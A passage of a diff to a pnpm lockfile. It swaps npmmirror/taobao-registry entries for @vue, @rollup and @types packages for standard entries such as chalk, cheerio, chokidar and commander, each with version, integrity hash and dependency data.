https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/plugin-toc/-/plugin-toc-0.11.1.tgz} - name: '@mdit-vue/plugin-toc' - version: 0.11.1 - dependencies: - '@mdit-vue/shared': registry.npmmirror.com/@mdit-vue/shared/0.11.0 - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + /caniuse-lite@1.0.30001514: + resolution: {integrity: sha512-ENcIpYBmwAAOm/V2cXgM7rZUrKKaqisZl4ZAI520FIkqGXUxJjmaIssbRW5HVVR5tyV6ygTLIm15aU8LUmQSaQ==} dev: true - registry.npmmirror.com/@mdit-vue/shared/0.11.0: - resolution: {integrity: sha512-eiGe42y7UYpjO6/8Lg6OpAtzZrRU9k8dhpX1e/kJMTcL+tn+XkqRMJJ8I2pdrOQMSkgvIva5FNAriykqFzkdGg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/shared/-/shared-0.11.0.tgz} - name: '@mdit-vue/shared' - version: 0.11.0 + /chalk@2.4.2: + resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} + engines: {node: '>=4'} dependencies: - '@mdit-vue/types': registry.npmmirror.com/@mdit-vue/types/0.11.0 - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 - markdown-it: registry.npmmirror.com/markdown-it/13.0.1 + ansi-styles: 3.2.1 + escape-string-regexp: 1.0.5 + supports-color: 5.5.0 dev: true - registry.npmmirror.com/@mdit-vue/types/0.11.0: - resolution: {integrity: sha512-ygCGP7vFpqS02hpZwEe1uz8cfImWX06+zRs08J+tCZRKb6k+easIaIHFtY9ZSxt7j9L/gAPLDo/5RmOT6z0DPQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mdit-vue/types/-/types-0.11.0.tgz} - name: '@mdit-vue/types' - version: 0.11.0 + /chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 dev: true - registry.npmmirror.com/@mermaid-js/mermaid-mindmap/9.2.2: - resolution: {integrity: sha512-uzUY0PR/itxkQxpDRg95yDPJ++mRDUmGce4EVCKFebUCs0UNI/xi5mhvV6Oq8czM2ImY0W1gJu4MS2Xq3yiQug==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@mermaid-js/mermaid-mindmap/-/mermaid-mindmap-9.2.2.tgz} - name: '@mermaid-js/mermaid-mindmap' - version: 9.2.2 - dependencies: - '@braintree/sanitize-url': registry.npmmirror.com/@braintree/sanitize-url/6.0.0 - cytoscape: registry.npmmirror.com/cytoscape/3.23.0 - cytoscape-cose-bilkent: registry.npmmirror.com/cytoscape-cose-bilkent/4.1.0_cytoscape@3.23.0 - cytoscape-fcose: registry.npmmirror.com/cytoscape-fcose/2.1.0_cytoscape@3.23.0 - d3: registry.npmmirror.com/d3/7.4.4 - non-layered-tidy-tree-layout: registry.npmmirror.com/non-layered-tidy-tree-layout/2.0.2 + /chalk@5.1.2: + resolution: {integrity: sha512-E5CkT4jWURs1Vy5qGJye+XwCkNj7Od3Af7CP6SujMetSMkLs8Do2RWJK5yx1wamHV/op8Rz+9rltjaTQWDnEFQ==} + engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} dev: true - registry.npmmirror.com/@nodelib/fs.scandir/2.1.5: - resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz} - name: '@nodelib/fs.scandir' - version: 2.1.5 - engines: {node: '>= 8'} - dependencies: - '@nodelib/fs.stat': registry.npmmirror.com/@nodelib/fs.stat/2.0.5 - run-parallel: registry.npmmirror.com/run-parallel/1.2.0 + /character-entities@2.0.2: + resolution: {integrity: sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==} dev: true - registry.npmmirror.com/@nodelib/fs.stat/2.0.5: - resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz} - name: '@nodelib/fs.stat' - version: 2.0.5 - engines: {node: '>= 8'} + /chardet@0.7.0: + resolution: {integrity: sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==} dev: true - registry.npmmirror.com/@nodelib/fs.walk/1.2.8: - resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz} - name: '@nodelib/fs.walk' - version: 1.2.8 - engines: {node: '>= 8'} + /chart.js@4.3.0: + resolution: {integrity: sha512-ynG0E79xGfMaV2xAHdbhwiPLczxnNNnasrmPEXriXsPJGjmhOBYzFVEsB65w2qMDz+CaBJJuJD0inE/ab/h36g==} + engines: {pnpm: '>=7'} dependencies: - '@nodelib/fs.scandir': registry.npmmirror.com/@nodelib/fs.scandir/2.1.5 - fastq: registry.npmmirror.com/fastq/1.13.0 + '@kurkle/color': 0.3.2 dev: true - registry.npmmirror.com/@rollup/plugin-babel/5.3.1_rdqchdyh26wleuqzxvwvgxjg6a: - resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz} - id: registry.npmmirror.com/@rollup/plugin-babel/5.3.1 - name: '@rollup/plugin-babel' - version: 5.3.1 - engines: {node: '>= 10.0.0'} - peerDependencies: - '@babel/core': ^7.0.0 - '@types/babel__core': ^7.1.9 - rollup: ^1.20.0||^2.0.0 - peerDependenciesMeta: - '@types/babel__core': - optional: true + /cheerio-select@2.1.0: + resolution: {integrity: sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-module-imports': registry.npmmirror.com/@babel/helper-module-imports/7.16.7 - '@rollup/pluginutils': registry.npmmirror.com/@rollup/pluginutils/3.1.0_rollup@2.79.1 - rollup: registry.npmmirror.com/rollup/2.79.1 + boolbase: 1.0.0 + css-select: 5.1.0 + css-what: 6.1.0 + domelementtype: 2.3.0 + domhandler: 5.0.3 + domutils: 3.0.1 dev: true - registry.npmmirror.com/@rollup/plugin-node-resolve/11.2.1_rollup@2.79.1: - resolution: {integrity: sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz} - id: registry.npmmirror.com/@rollup/plugin-node-resolve/11.2.1 - name: '@rollup/plugin-node-resolve' - version: 11.2.1 - engines: {node: '>= 10.0.0'} - peerDependencies: - rollup: ^1.20.0||^2.0.0 + /cheerio@1.0.0-rc.12: + resolution: {integrity: sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==} + engines: {node: '>= 6'} dependencies: - '@rollup/pluginutils': registry.npmmirror.com/@rollup/pluginutils/3.1.0_rollup@2.79.1 - '@types/resolve': registry.npmmirror.com/@types/resolve/1.17.1 - builtin-modules: registry.npmmirror.com/builtin-modules/3.2.0 - deepmerge: registry.npmmirror.com/deepmerge/4.2.2 - is-module: registry.npmmirror.com/is-module/1.0.0 - resolve: registry.npmmirror.com/resolve/1.22.1 - rollup: registry.npmmirror.com/rollup/2.79.1 + cheerio-select: 2.1.0 + dom-serializer: 2.0.0 + domhandler: 5.0.3 + domutils: 3.0.1 + htmlparser2: 8.0.1 + parse5: 7.1.1 + parse5-htmlparser2-tree-adapter: 7.0.0 dev: true - registry.npmmirror.com/@rollup/plugin-replace/2.4.2_rollup@2.79.1: - resolution: {integrity: sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz} - id: registry.npmmirror.com/@rollup/plugin-replace/2.4.2 - name: '@rollup/plugin-replace' - version: 2.4.2 - peerDependencies: - rollup: ^1.20.0 || ^2.0.0 + /chokidar@3.5.3: + resolution: {integrity: sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==} + engines: {node: '>= 8.10.0'} dependencies: - '@rollup/pluginutils': registry.npmmirror.com/@rollup/pluginutils/3.1.0_rollup@2.79.1 - magic-string: registry.npmmirror.com/magic-string/0.25.9 - rollup: registry.npmmirror.com/rollup/2.79.1 + anymatch: 3.1.2 + braces: 3.0.2 + glob-parent: 5.1.2 + is-binary-path: 2.1.0 + is-glob: 4.0.3 + normalize-path: 3.0.0 + readdirp: 3.6.0 + optionalDependencies: + fsevents: 2.3.2 dev: true - registry.npmmirror.com/@rollup/pluginutils/3.1.0_rollup@2.79.1: - resolution: {integrity: sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@rollup/pluginutils/-/pluginutils-3.1.0.tgz} - id: registry.npmmirror.com/@rollup/pluginutils/3.1.0 - name: '@rollup/pluginutils' - version: 3.1.0 - engines: {node: '>= 8.0.0'} - peerDependencies: - rollup: ^1.20.0||^2.0.0 + /cli-cursor@2.1.0: + resolution: {integrity: sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==} + engines: {node: '>=4'} dependencies: - '@types/estree': registry.npmmirror.com/@types/estree/0.0.39 - estree-walker: registry.npmmirror.com/estree-walker/1.0.1 - picomatch: registry.npmmirror.com/picomatch/2.3.1 - rollup: registry.npmmirror.com/rollup/2.79.1 + restore-cursor: 2.0.0 dev: true - registry.npmmirror.com/@surma/rollup-plugin-off-main-thread/2.2.3: - resolution: {integrity: sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz} - name: '@surma/rollup-plugin-off-main-thread' - version: 2.2.3 + /cli-cursor@4.0.0: + resolution: {integrity: sha512-VGtlMu3x/4DOtIUwEkRezxUZ2lBacNJCHash0N0WeZDBS+7Ux1dm3XWAgWYxLJFMMdOeXMHXorshEFhbMSGelg==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} dependencies: - ejs: registry.npmmirror.com/ejs/3.1.7 - json5: registry.npmmirror.com/json5/2.2.1 - magic-string: registry.npmmirror.com/magic-string/0.25.9 - string.prototype.matchall: registry.npmmirror.com/string.prototype.matchall/4.0.7 + restore-cursor: 4.0.0 dev: true - registry.npmmirror.com/@types/debug/4.1.7: - resolution: {integrity: sha512-9AonUzyTjXXhEOa0DnqpzZi6VHlqKMswga9EXjpXnnqxwLtdvPPtlO8evrI5D9S6asFRCQ6v+wpiUKbw+vKqyg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/debug/-/debug-4.1.7.tgz} - name: '@types/debug' - version: 4.1.7 - dependencies: - '@types/ms': registry.npmmirror.com/@types/ms/0.7.31 + /cli-spinners@2.6.1: + resolution: {integrity: sha512-x/5fWmGMnbKQAaNwN+UZlV79qBLM9JFnJuJ03gIi5whrob0xV0ofNVHy9DhwGdsMJQc2OKv0oGmLzvaqvAVv+g==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/@types/estree/0.0.39: - resolution: {integrity: sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/estree/-/estree-0.0.39.tgz} - name: '@types/estree' - version: 0.0.39 + /cli-width@2.2.1: + resolution: {integrity: sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==} dev: true - registry.npmmirror.com/@types/fs-extra/9.0.13: - resolution: {integrity: sha512-nEnwB++1u5lVDM2UI4c1+5R+FYaKfaAzS4OococimjVm3nQw3TuzH5UNsocrcTBbhnerblyHj4A49qXbIiZdpA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/fs-extra/-/fs-extra-9.0.13.tgz} - name: '@types/fs-extra' - version: 9.0.13 + /cliui@6.0.0: + resolution: {integrity: sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==} dependencies: - '@types/node': registry.npmmirror.com/@types/node/17.0.32 + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 6.2.0 dev: true - registry.npmmirror.com/@types/hash-sum/1.0.0: - resolution: {integrity: sha512-FdLBT93h3kcZ586Aee66HPCVJ6qvxVjBlDWNmxSGSbCZe9hTsjRKdSsl4y1T+3zfujxo9auykQMnFsfyHWD7wg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/hash-sum/-/hash-sum-1.0.0.tgz} - name: '@types/hash-sum' - version: 1.0.0 + /cliui@7.0.4: + resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==} + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 7.0.0 dev: true - registry.npmmirror.com/@types/katex/0.14.0: - resolution: {integrity: sha512-+2FW2CcT0K3P+JMR8YG846bmDwplKUTsWgT2ENwdQ1UdVfRk3GQrh6Mi4sTopy30gI8Uau5CEqHTDZ6YvWIUPA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/katex/-/katex-0.14.0.tgz} - name: '@types/katex' - version: 0.14.0 + /clone@1.0.4: + resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} + engines: {node: '>=0.8'} dev: true - registry.npmmirror.com/@types/linkify-it/3.0.2: - resolution: {integrity: sha512-HZQYqbiFVWufzCwexrvh694SOim8z2d+xJl5UNamcvQFejLY/2YUtzXHYi3cHdI7PMlS8ejH2slRAOJQ32aNbA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/linkify-it/-/linkify-it-3.0.2.tgz} - name: '@types/linkify-it' - version: 3.0.2 + /codem-isoboxer@0.3.9: + resolution: {integrity: sha512-4XOTqEzBWrGOZaMd+sTED2hLpzfBbiQCf1W6OBGkIHqk1D8uwy8WFLazVbdQwfDpQ+vf39lqTGPa9IhWW0roTA==} dev: true - registry.npmmirror.com/@types/markdown-it-emoji/2.0.2: - resolution: {integrity: sha512-2ln8Wjbcj/0oRi/6VnuMeWEHHuK8uapFttvcLmDIe1GKCsFBLOLBX+D+xhDa9oWOQV0IpvxwrSfKKssAqqroog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/markdown-it-emoji/-/markdown-it-emoji-2.0.2.tgz} - name: '@types/markdown-it-emoji' - version: 2.0.2 + /color-convert@1.9.3: + resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} dependencies: - '@types/markdown-it': registry.npmmirror.com/@types/markdown-it/12.2.3 + color-name: 1.1.3 dev: true - registry.npmmirror.com/@types/markdown-it/12.2.3: - resolution: {integrity: sha512-GKMHFfv3458yYy+v/N8gjufHO6MSZKCOXpZc5GXIWWy8uldwfmPn98vp81gZ5f9SVw8YYBctgfJ22a2d7AOMeQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/markdown-it/-/markdown-it-12.2.3.tgz} - name: '@types/markdown-it' - version: 12.2.3 + /color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} dependencies: - '@types/linkify-it': registry.npmmirror.com/@types/linkify-it/3.0.2 - '@types/mdurl': registry.npmmirror.com/@types/mdurl/1.0.2 - dev: true - - registry.npmmirror.com/@types/mdurl/1.0.2: - resolution: {integrity: sha512-eC4U9MlIcu2q0KQmXszyn5Akca/0jrQmwDRgpAMJai7qBWq4amIQhZyNau4VYGtCeALvW1/NtjzJJ567aZxfKA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/mdurl/-/mdurl-1.0.2.tgz} - name: '@types/mdurl' - version: 1.0.2 - dev: true - - registry.npmmirror.com/@types/ms/0.7.31: - resolution: {integrity: sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/ms/-/ms-0.7.31.tgz} - name: '@types/ms' - version: 0.7.31 + color-name: 1.1.4 dev: true - registry.npmmirror.com/@types/node/17.0.32: - resolution: {integrity: sha512-eAIcfAvhf/BkHcf4pkLJ7ECpBAhh9kcxRBpip9cTiO+hf+aJrsxYxBeS6OXvOd9WqNAJmavXVpZvY1rBjNsXmw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/node/-/node-17.0.32.tgz} - name: '@types/node' - version: 17.0.32 + /color-name@1.1.3: + resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} dev: true - registry.npmmirror.com/@types/resolve/1.17.1: - resolution: {integrity: sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/resolve/-/resolve-1.17.1.tgz} - name: '@types/resolve' - version: 1.17.1 - dependencies: - '@types/node': registry.npmmirror.com/@types/node/17.0.32 + /color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} dev: true - registry.npmmirror.com/@types/sax/1.2.4: - resolution: {integrity: sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/sax/-/sax-1.2.4.tgz} - name: '@types/sax' - version: 1.2.4 - dependencies: - '@types/node': registry.npmmirror.com/@types/node/17.0.32 + /commander@2.20.3: + resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} dev: true - registry.npmmirror.com/@types/trusted-types/2.0.2: - resolution: {integrity: sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/trusted-types/-/trusted-types-2.0.2.tgz} - name: '@types/trusted-types' - version: 2.0.2 + /commander@7.2.0: + resolution: {integrity: sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==} + engines: {node: '>= 10'} dev: true - registry.npmmirror.com/@types/web-bluetooth/0.0.16: - resolution: {integrity: sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz} - name: '@types/web-bluetooth' - version: 0.0.16 + /commander@8.3.0: + resolution: {integrity: sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==} + engines: {node: '>= 12'} dev: true - registry.npmmirror.com/@vitejs/plugin-vue/3.2.0_vite@3.1.8+vue@3.2.45: - resolution: {integrity: sha512-E0tnaL4fr+qkdCNxJ+Xd0yM31UwMkQje76fsDVBBUCoGOUPexu2VDUYHL8P4CwV+zMvWw6nlRw19OnRKmYAJpw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-3.2.0.tgz} - id: registry.npmmirror.com/@vitejs/plugin-vue/3.2.0 - name: '@vitejs/plugin-vue' - version: 3.2.0 - engines: {node: ^14.18.0 || >=16.0.0} - peerDependencies: - vite: ^3.0.0 - vue: ^3.2.25 - dependencies: - vite: registry.npmmirror.com/vite/3.1.8 - vue: registry.npmmirror.com/vue/3.2.45 + /commander@9.2.0: + resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==} + engines: {node: ^12.20.0 || >=14} dev: true - registry.npmmirror.com/@vue/compiler-core/3.2.45: - resolution: {integrity: sha512-rcMj7H+PYe5wBV3iYeUgbCglC+pbpN8hBLTJvRiK2eKQiWqu+fG9F+8sW99JdL4LQi7Re178UOxn09puSXvn4A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.2.45.tgz} - name: '@vue/compiler-core' - version: 3.2.45 - dependencies: - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 - estree-walker: registry.npmmirror.com/estree-walker/2.0.2 - source-map: registry.npmmirror.com/source-map/0.6.1 + /comment-regex@1.0.1: + resolution: {integrity: sha512-IWlN//Yfby92tOIje7J18HkNmWRR7JESA/BK8W7wqY/akITpU5B0JQWnbTjCfdChSrDNb0DrdA9jfAxiiBXyiQ==} + engines: {node: '>=0.10.0'} dev: true - registry.npmmirror.com/@vue/compiler-dom/3.2.45: - resolution: {integrity: sha512-tyYeUEuKqqZO137WrZkpwfPCdiiIeXYCcJ8L4gWz9vqaxzIQRccTSwSWZ/Axx5YR2z+LvpUbmPNXxuBU45lyRw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.2.45.tgz} - name: '@vue/compiler-dom' - version: 3.2.45 + /commitizen@4.2.4: + resolution: {integrity: sha512-LlZChbDzg3Ir3O2S7jSo/cgWp5/QwylQVr59K4xayVq8S4/RdKzSyJkghAiZZHfhh5t4pxunUoyeg0ml1q/7aw==} + engines: {node: '>= 10'} + hasBin: true dependencies: - '@vue/compiler-core': registry.npmmirror.com/@vue/compiler-core/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + cachedir: 2.2.0 + cz-conventional-changelog: 3.2.0 + dedent: 0.7.0 + detect-indent: 6.0.0 + find-node-modules: 2.1.3 + find-root: 1.1.0 + fs-extra: 8.1.0 + glob: 7.1.4 + inquirer: 6.5.2 + is-utf8: 0.2.1 + lodash: 4.17.21 + minimist: 1.2.5 + strip-bom: 4.0.0 + strip-json-comments: 3.0.1 + transitivePeerDependencies: + - '@swc/core' + - '@swc/wasm' dev: true - registry.npmmirror.com/@vue/compiler-sfc/3.2.45: - resolution: {integrity: sha512-1jXDuWah1ggsnSAOGsec8cFjT/K6TMZ0sPL3o3d84Ft2AYZi2jWJgRMjw4iaK0rBfA89L5gw427H4n1RZQBu6Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.2.45.tgz} - name: '@vue/compiler-sfc' - version: 3.2.45 - dependencies: - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@vue/compiler-core': registry.npmmirror.com/@vue/compiler-core/3.2.45 - '@vue/compiler-dom': registry.npmmirror.com/@vue/compiler-dom/3.2.45 - '@vue/compiler-ssr': registry.npmmirror.com/@vue/compiler-ssr/3.2.45 - '@vue/reactivity-transform': registry.npmmirror.com/@vue/reactivity-transform/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 - estree-walker: registry.npmmirror.com/estree-walker/2.0.2 - magic-string: registry.npmmirror.com/magic-string/0.25.9 - postcss: registry.npmmirror.com/postcss/8.4.13 - source-map: registry.npmmirror.com/source-map/0.6.1 + /common-tags@1.8.2: + resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==} + engines: {node: '>=4.0.0'} dev: true - registry.npmmirror.com/@vue/compiler-ssr/3.2.45: - resolution: {integrity: sha512-6BRaggEGqhWht3lt24CrIbQSRD5O07MTmd+LjAn5fJj568+R9eUD2F7wMQJjX859seSlrYog7sUtrZSd7feqrQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.2.45.tgz} - name: '@vue/compiler-ssr' - version: 3.2.45 + /compare-func@2.0.0: + resolution: {integrity: sha512-zHig5N+tPWARooBnb0Zx1MFcdfpyJrfTJ3Y5L+IFvUm8rM74hHz66z0gw0x4tijh5CorKkKUCnW82R2vmpeCRA==} dependencies: - '@vue/compiler-dom': registry.npmmirror.com/@vue/compiler-dom/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 + array-ify: 1.0.0 + dot-prop: 5.3.0 dev: true - registry.npmmirror.com/@vue/devtools-api/6.4.5: - resolution: {integrity: sha512-JD5fcdIuFxU4fQyXUu3w2KpAJHzTVdN+p4iOX2lMWSHMOoQdMAcpFLZzm9Z/2nmsoZ1a96QEhZ26e50xLBsgOQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.4.5.tgz} - name: '@vue/devtools-api' - version: 6.4.5 + /concat-map@0.0.1: + resolution: {integrity: sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=} dev: true - registry.npmmirror.com/@vue/reactivity-transform/3.2.45: - resolution: {integrity: sha512-BHVmzYAvM7vcU5WmuYqXpwaBHjsS8T63jlKGWVtHxAHIoMIlmaMyurUSEs1Zcg46M4AYT5MtB1U274/2aNzjJQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@vue/reactivity-transform/-/reactivity-transform-3.2.45.tgz} - name: '@vue/reactivity-transform' - version: 3.2.45 - dependencies: - '@babel/parser': registry.npmmirror.com/@babel/parser/7.17.10 - '@vue/compiler-core': registry.npmmirror.com/@vue/compiler-core/3.2.45 - '@vue/shared': registry.npmmirror.com/@vue/shared/3.2.45 - estree-walker: registry.npmmirror.com/estree-walker/2.0.2 - magic-string: registry.npmmirror.com/magic-string/0.25.9 + /connect-history-api-fallback@2.0.0: + resolution: {integrity: 